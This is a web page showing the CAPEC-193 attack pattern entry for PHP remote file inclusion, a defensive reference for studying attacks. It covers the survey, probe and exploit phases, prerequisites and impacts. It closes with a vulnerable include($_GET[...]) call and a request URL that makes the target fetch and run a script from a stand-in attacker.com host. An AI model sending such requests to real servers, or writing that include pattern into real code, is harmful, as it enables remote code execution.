Dark Mode

Settings

Capec-193 Detail

PHP Remote File Inclusion

Detailed Software Likelihood: High Typical Severity: High

Parents: 253

Threats: T290

Description

In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.

Not present

External ID Source Link Description
CAPEC-193 capec https://capec.mitre.org/data/definitions/193.html
CWE-98 cwe http://cwe.mitre.org/data/definitions/98.html
CWE-80 cwe http://cwe.mitre.org/data/definitions/80.html
REF-59 reference_from_CAPEC http://projects.webappsec.org/Remote-File-Inclusion WASC Threat Classification 2.0, 2010, The Web Application Security Consortium (WASC)
REF-60 reference_from_CAPEC http://securereality.com.au/studyinscarlett/ Shaun Clowes, A Study In Scarlet, Exploiting Common Vulnerabilities in PHP Applications, Blackhat Briefings Asia 2001
REF-30 reference_from_CAPEC https://www.owasp.org/www-pdf-archive/OWASP_Top_10_2007.pdf OWASP Top 10 2007 (2007), The Open Web Application Security Project (OWASP)
REF-621 reference_from_CAPEC https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion OWASP Vulnerabilities, The Open Web Application Security Project (OWASP)
Explore
  1. Survey application: Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links they find.

  2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.
Experiment
  1. Attempt variations on input parameters: The attack variants make use of a remotely available PHP script that generates a uniquely identifiable output when executed on the target application server. Possibly using an automated tool, an adversary requests variations on the inputs they surveyed before. They send parameters that include variations of payloads which include a reference to the remote PHP script. They record all the responses from the server that include the output of the execution of remote PHP script.

  2. Techniques
    Use a list of probe strings to inject in parameters of known URLs. The probe strings are variants of PHP remote file inclusion payloads which include a reference to the adversary controlled remote PHP script.
    Use a proxy tool to record results of manual input of remote file inclusion probes in known URLs.
Exploit
  1. Run arbitrary server-side code: As the adversary succeeds in exploiting the vulnerability, they are able to execute server-side code within the application. The malicious code has virtual access to the same resources as the targeted application. Note that the adversary might include shell code in their script and execute commands on the server under the same privileges as the PHP runtime is running with.

  2. Techniques
    Develop malicious PHP script that is injected through vectors identified during the Experiment Phase and executed by the application server to execute a custom PHP script.
  1. Target application server must allow remote files to be included in the "require", "include", etc. PHP directives
  2. The adversary must have the ability to make HTTP requests to the target web application.
  1. None: No specialized resources are required to execute this type of attack.
Low Medium
To inject the malicious payload in a web page
To bypass filters in the application
Integrity Authorization Access Control Accountability Authentication Confidentiality Non-Repudiation
Modify Data Execute Unauthorized Commands (Run Arbitrary Code) Bypass Protection Mechanism Gain Privileges Gain Privileges Read Data Gain Privileges
Gain Privileges
Bypass Protection Mechanism
  1. The adversary controls a PHP script on a server "http://attacker.com/rfi.txt" The .txt extension is given so that the script doesn't get executed by the attacker.com server, and it will be downloaded as text. The target application is vulnerable to PHP remote file inclusion as following: include($_GET['filename'] . '.txt') The adversary creates an HTTP request that passes their own script in the include: http://example.com/file.php?filename=http://attacker.com/rfi with the concatenation of the ".txt" prefix, the PHP runtime download the attack's script and the content of the script gets executed in the same context as the rest of the original script.